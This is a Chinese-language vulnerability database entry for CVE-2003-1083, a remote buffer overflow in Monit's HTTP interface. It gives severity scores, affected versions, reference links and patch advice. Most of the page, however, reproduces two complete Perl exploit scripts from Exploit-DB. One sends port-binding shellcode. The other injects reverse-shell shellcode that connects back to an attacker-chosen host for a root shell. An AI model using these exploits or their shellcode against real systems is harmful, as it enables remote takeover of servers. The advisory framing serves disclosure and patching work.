CVE-2003-1083
CVSS10.0
发布时间 :2003-12-31 00:00:00
修订时间 :2008-09-05 16:35:59
NMCOE    

[原文]Stack-based buffer overflow in Monit 1.4 to 4.1 allows remote attackers to execute arbitrary code via a long HTTP request.


[CNNVD]Monit过度超长请求HTTP请求缓冲区泛滥漏洞(CNNVD-200312-348)

        Monit 1.4版本到4.1版本存在基于堆的缓冲区溢出漏洞。远程攻击者可以借助超长HTTP请求执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

cpe:/a:tildeslash:monit:1.4
cpe:/a:tildeslash:monit:2.1
cpe:/a:tildeslash:monit:2.4.1
cpe:/a:tildeslash:monit:4.0
cpe:/a:tildeslash:monit:4.1
cpe:/a:tildeslash:monit:2.2
cpe:/a:tildeslash:monit:2.3
cpe:/a:tildeslash:monit:1.4.1
cpe:/a:tildeslash:monit:2.4.3
cpe:/a:tildeslash:monit:3.0
cpe:/a:tildeslash:monit:2.4
cpe:/a:tildeslash:monit:2.1.1
cpe:/a:tildeslash:monit:2.2.1
cpe:/a:tildeslash:monit:3.2
cpe:/a:tildeslash:monit:3.1
cpe:/a:tildeslash:monit:2.0
cpe:/a:tildeslash:monit:2.4.2

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1083
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2003-1083
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200312-348
(官方数据源) CNNVD

- 其它链接及资源

http://www.kb.cert.org/vuls/id/623854
(UNKNOWN)  CERT-VN  VU#623854
http://xforce.iss.net/xforce/xfdb/13817
(PATCH)  XF  monit-http-bo(13817)
http://www.securityfocus.com/bid/9099
(PATCH)  BID  9099
http://security.gentoo.org/glsa/glsa-200403-14.xml
(PATCH)  GENTOO  GLSA-200403-14
http://secunia.com/advisories/10280
(PATCH)  SECUNIA  10280
http://www.tildeslash.com/monit/dist/CHANGES.txt
(UNKNOWN)  CONFIRM  http://www.tildeslash.com/monit/dist/CHANGES.txt
http://www.securityfocus.com/archive/1/345417
(VENDOR_ADVISORY)  BUGTRAQ  20031124 Monit 4.1 HTTP interface multiple security vulnerabilities

- 漏洞信息

Monit过度超长请求HTTP请求缓冲区泛滥漏洞
危急 缓冲区溢出
2003-12-31 00:00:00 2005-10-20 00:00:00
远程  
        Monit 1.4版本到4.1版本存在基于堆的缓冲区溢出漏洞。远程攻击者可以借助超长HTTP请求执行任意代码。

- 公告与补丁

        The vendor has release Monit 4.1.1 to address this issue in affected versions. Users are advised to upgrade to the latest version as soon as possible.
        Gentoo has released an advisory GLSA 200403-14 to address this and another issue in Monit. Please see the referenced advisory for more information. Gentoo users may carry out the following commands to upgrade to Monit version 4.2:
        # emerge sync
        # emerge -pv ">=app-admin/monit-4.2"
        # emerge ">=app-admin/monit-4.2"
        TildeSlash Monit 1.4
        
        TildeSlash Monit 1.4.1
        
        TildeSlash Monit 2.0
        
        TildeSlash Monit 2.1
        
        TildeSlash Monit 2.1.1
        
        TildeSlash Monit 2.2
        
        TildeSlash Monit 2.2.1
        
        TildeSlash Monit 2.3
        
        TildeSlash Monit 2.4
        
        TildeSlash Monit 2.4.1
        
        TildeSlash Monit 2.4.2
        
        TildeSlash Monit 2.4.3
        
        TildeSlash Monit 3.0
        
        TildeSlash Monit 3.1
        
        TildeSlash Monit 3.2
        
        TildeSlash Monit 4.0
        
        TildeSlash Monit 4.1
        

- 漏洞信息 (173)

Monit <= 4.1 Remote Root Buffer Overflow Exploit (EDBID:173)
linux remote
2004-04-09 Verified
2812 gsicht
N/A [点击下载]
#!/usr/bin/perl
#
# monit <= 4.1 remote root exploit
# coded by gsicht (09.04.04)
#

use IO::Socket::INET;
$socket = 0;

my $shellcode = # 8 + 88 = 96 bytes portbind 31337
"\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x90\x90\x90\x90\x90\x90\x90\x90" .
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" .
"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80" .
"\x89\xc7\x52\x66\x68" .
"\x7a\x69" . # port 31337/tcp, change if needed
"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80" .
"\xb0\x66\xb3\x04\xcd\x80" .
"\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80" .
"\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80" .
"\x41\xe2\xf8\x51\x68n/sh\x68//bi\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";


print "\nmonit 4.1 dos exploit\n";
print "coded by gsicht\n\n";

if(@ARGV<1)
{
print "Usage: perl agate.pl <target>\n\n";
exit(0);
}

print "HOST:\t$ARGV[0]\n";
print "PORT:\t2812\n";


my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; # esp mandrake 9.1
#my $buffer = "A" x 284 . "XXXX" . "B" x 100; #dos and debug

print "connecting to server...\n";

$socket = IO::Socket::INET -> new( PeerAddr => $ARGV[0],
    PeerPort => 2812,
    Proto    => "tcp");
if(!defined($socket))
{
print "could not connect :-P\n";
sleep(1);
exit(0);
}

print "connected\n";
sleep(1);
print "sending string\n";
print $socket $buffer;

close $socket;
print "\ndosed!\n";

# milw0rm.com [2004-04-09]
		

- 漏洞信息 (23397)

Monit 1.4/2.x/3/4 Overly Long HTTP Request Buffer Overrun Vulnerability (EDBID:23397)
linux remote
2003-11-24 Verified
0 Shadowinteger
N/A [点击下载]
source: http://www.securityfocus.com/bid/9099/info

A buffer overrun vulnerability has been discovered in Monit 4.1 and earlier that could be exploited remotely to gain root privileges. The problem occurs due to insufficient bounds checking when handling overly long HTTP requests. As a result, it may be possible for a remote attacker to corrupt sensitive process data in such a way that the execution flow of Monit can be controlled.

Successful exploitation of this condition could potentially allow for the execution of arbitrary code with root privileges. 

// Michel, http://www.cycom.se

#!/usr/bin/perl
#
# Monit 4.1 (possibly earlier too) remote shell exploit (HTTP)
# (C) 2004 by Shadowinteger <shadowinteger@sentinix.org>
#
# Verbatim copying, distribution and/or modification of this
# code is permitted without restriction.
#
# THIS SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES  OF  MERCHANTABILITY,  FITNESS FOR A PARTICULAR
# PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS
# OR  COPYRIGHT  HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR
# OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
# OTHERWISE,  ARISING FROM, OUT OF OR IN CONNECTION WITH THE
# SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
# You may have to install Math::XOR for this to run, e.g.:
# $ perl -MCPAN -e "install Math::XOR"
#
# Acknowledgments: Sabu, Nullbyte
#

use POSIX;
use Getopt::Std;
use IO::Socket::INET;
use Math::XOR;
use strict;

sub usage {
    print "usage: sploit [-a 0xbf7ff9e4] [-o 250] target_host [port]\n" .
          "  -a address   ret address to make eip\n" .
          "  -o offset    offset to subtract from address before injecting it\n" .
          "  -c hostname  choose hostname to have the shellcode connect back to, default\n" .
          "               is localhost\n" .
          "  -p port      choose port to have the shellcode connect back to, default is\n" .
          "               31337.\n" .
          "  -B           use x86 *BSD shellcode instead of x86 Linux\n" .
          "The default address is 0xbf7ff9e4 and the default offset to subtract from that\n" .
          "address is 250, this works under Slackware 8.1 with default ./configure\n" .
          "compilation options. You may have to do some research for your system, gdb is\n" .
          "your friend, e.g. \"gdb process pid_of_monit_httpd\".\n";
    exit 1;
}

# pre_shellcode was added to make sure the stack doesn't write into our
# shellcode
my $pre_shellcode = "\x83\xC4\x40";  # add esp, byte 0x40

my $linux_shellcode = # shadowinteger's reverse shellcode (sishell, x86 linux)
"\xeb\x74\x5d\x6a\x06\x6a\x01\x6a\x02\x8d\x1c\x24\x89\xd9\x31\xdb" .
"\xb3\x01\x31\xc0\xb0\x66\xcd\x80\x89\xc7\x83\xec\x08\x31\xc9\xc6" .
"\x04\x24\x02\x88\x4c\x24\x01\xb8\x80\xff\xff\xfe\x35\xff\xff\xff" .
"\xff\x66\xc7\x44\x24\x02\x7a\x69\x89\x44\x24\x04\x8d\x04\x24\x83" .
"\xec\x10\x89\x3c\x24\x89\x44\x24\x04\x31\xc0\xb0\x10\x89\x44\x24" .
"\x08\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x8d\x14\x24\x89\xd1\xcd\x80" .
"\x85\xc0\x78\x3c\x31\xc9\x31\xc0\xb0\x3f\x89\xfb\xcd\x80\x41\x80" .
"\xf9\x02\x77\x04\xeb\xf0\xeb\x2f\x83\xec\x10\x8d\x44\x24\x08\x89" .
"\x04\x24\x31\xdb\x89\x5c\x24\x04\x89\x5c\x24\x08\x88\x5d\x07\x89" .
"\xeb\x8d\x14\x24\x89\xd1\x31\xd2\x31\xc0\xb0\x0e\x2c\x03\xcd\x80" .
"\x31\xc0\x89\xc3\x40\xcd\x80\xe8\x56\xff\xff\xff\x2f\x62\x69\x6e" .
"\x2f\x73\x68\x24";
my $lin_IP_OFFSET = 40;
my $lin_PORT_OFFSET = 54;
my $lin_XOR = 0xffffffff;   # number to xor the ip address with


my $bsd_shellcode = # shadowinteger's reverse shellcode (sishell, x86 bsd)
"\xeb\x55\x5d\x6a\x06\x6a\x01\x6a\x02\x31\xc0\xb0\x61\x50\xcd\x80" .
"\x89\xc7\x83\xec\x08\x31\xc9\xc6\x04\x24\x02\x88\x4c\x24\x01\xb8" .
"\x80\xff\xff\xfe\x35\xff\xff\xff\xff\x66\xc7\x44\x24\x02\x7a\x69" .
"\x89\x44\x24\x04\x8d\x04\x24\x6a\x10\x50\x57\x31\xc0\xb0\x62\x50" .
"\xcd\x80\x72\x3b\x31\xc9\x51\x57\x31\xc0\xb0\x5a\x50\xcd\x80\x41" .
"\x80\xf9\x02\x77\x04\xeb\xef\xeb\x2e\x83\xec\x10\x8d\x44\x24\x08" .
"\x89\x04\x24\x31\xdb\x89\x5c\x24\x04\x89\x5c\x24\x08\x8d\x14\x24" .
"\x89\xd1\x53\x51\x88\x5d\x07\x55\x31\xc0\xb0\x3b\x50\xcd\x80\x31" .
"\xc0\x50\xfe\xc0\x50\xcd\x80\xe8\x76\xff\xff\xff\x2f\x62\x69\x6e" .
"\x2f\x73\x68\x24";
my $bsd_IP_OFFSET = 32;
my $bsd_PORT_OFFSET = 46;
my $bsd_XOR = 0xffffffff;


# just define these here, since we're "strict"
my $shellcode;
my $IP_OFFSET;
my $PORT_OFFSET;
my $XOR;


# set up defaults

my $offset = 250; # offset to back-track (subtract) from $address
my $address = 0xbf7ff9e4;

my $target = "localhost";
my $port = 2812;

my $callback_host = "localhost";
my $callback_port = pack('n', 31337);


# handle options

my %options = ();
getopts("a:o:c:p:Bh", \%options);

if ( defined $options{h} ) {
    usage();
}
if ( ! $ARGV[0]) {
    usage();
} else {
    if ( length($ARGV[0]) > 0 ) {
        $target = $ARGV[0];
    }
}
if ( $ARGV[1]) {
    $port = $ARGV[1];
}

# if -B option is present, define $bsd
my $bsd = "yes" if defined $options{B};

if ( defined $options{a} ) {
    $address = hex($options{a});
}
if ( defined $options{o} ) {
    $offset = $options{o};
}
if ( defined $options{c} ) {
    if ( length($options{c}) > 0 ) {
        $callback_host = $options{c};
    }
}
if ( defined $options{p} ) {
    $callback_port = pack('n', $options{p});
}


# set up shellcode pointers... linux or bsd?

if ( defined $bsd ) {
    $shellcode = $bsd_shellcode;
    $IP_OFFSET = $bsd_IP_OFFSET;
    $PORT_OFFSET = $bsd_PORT_OFFSET;
    $XOR = $bsd_XOR;
} else {
    $shellcode = $linux_shellcode;
    $IP_OFFSET = $lin_IP_OFFSET;
    $PORT_OFFSET = $lin_PORT_OFFSET;
    $XOR = $lin_XOR;
}


# resolve hostname
my $callback_ip = gethostbyname($callback_host);

# insert resolved connect back address into shellcode
substr($shellcode, $IP_OFFSET, 4, xor_buf($callback_ip, pack('l',$XOR)));

# insert port into shellcode (short network order)
substr($shellcode, $PORT_OFFSET, 2, $callback_port);

# decode (un-xor) IP address in shellcode and print it to stdout
# don't uncomment, it's just an example
# print xor_buf(substr($shellcode, $IP_OFFSET, 4), pack('l',$XOR));


# calculate address and make it binary

my $eip = $address - $offset;
my $bin_eip = pack('l', $eip);

# cruft is our parsed payload:
# [ NOPNOPNOPNOP ] [ PRE ] [ SHELLCODE ] [ ADDR ] [ ADDR ]
#        ^
#  ideal jump address
#
my $cruft = "\x90" x (256 - length($pre_shellcode . $shellcode)) .
            $pre_shellcode . $shellcode . $bin_eip x 2;

# build HTTP request, there's nothing more to it than to add a double linefeed
my $request = $cruft . "\n\n";

#
# print banner and get started
#
print '-?? Monit 4.1 remote shell exploit (HTTP)'."\n";
print '??- (C) 2004 Shadowinteger <shadowinteger@sentinix.org'."\n";

if ( defined $bsd ) {
    print "[i] using x86 *BSD shellcode (sishell)\n";
} else {
    print "[i] using x86 Linux shellcode (sishell)\n";
}

printf("[i] using ret address: 0x%x\n", $eip);

print "[i] shellcode will connect to " . inet_ntoa($callback_ip) .
      ", port " . unpack('n', $callback_port) . "\n";

print "[i] attacking " . $target . ", port " . $port . "\n";
print "[+] connecting to target...\n";

my $socket = 0;
$socket = IO::Socket::INET -> new( PeerAddr => $target,
                                   PeerPort => $port,
                                   Proto    => "tcp" );
if (!defined($socket)) {
    print "[?] no connection!\n";
    exit 1;
}

print "[i] connection established\n";

print "[+] injecting shellcode...\n";
print $socket $request;
sleep(3);
print "[i] done\n";
close $socket;
exit 0;
## EOF

		

- 漏洞信息

2858
Monit HTTP Request Handling Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

A remote overflow exists in Monit HTTP Server. The HTTP Server fails to verify the length of an incoming request resulting in a buffer overflow. With a specially crafted request, an attacker can execute arbitrary code resulting in a loss of confidentiality, integrity, and/or availability.

- 时间线

2003-11-24 2003-11-20
2004-05-10 Unknow

- 解决方案

Upgrade to version 4.1.1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站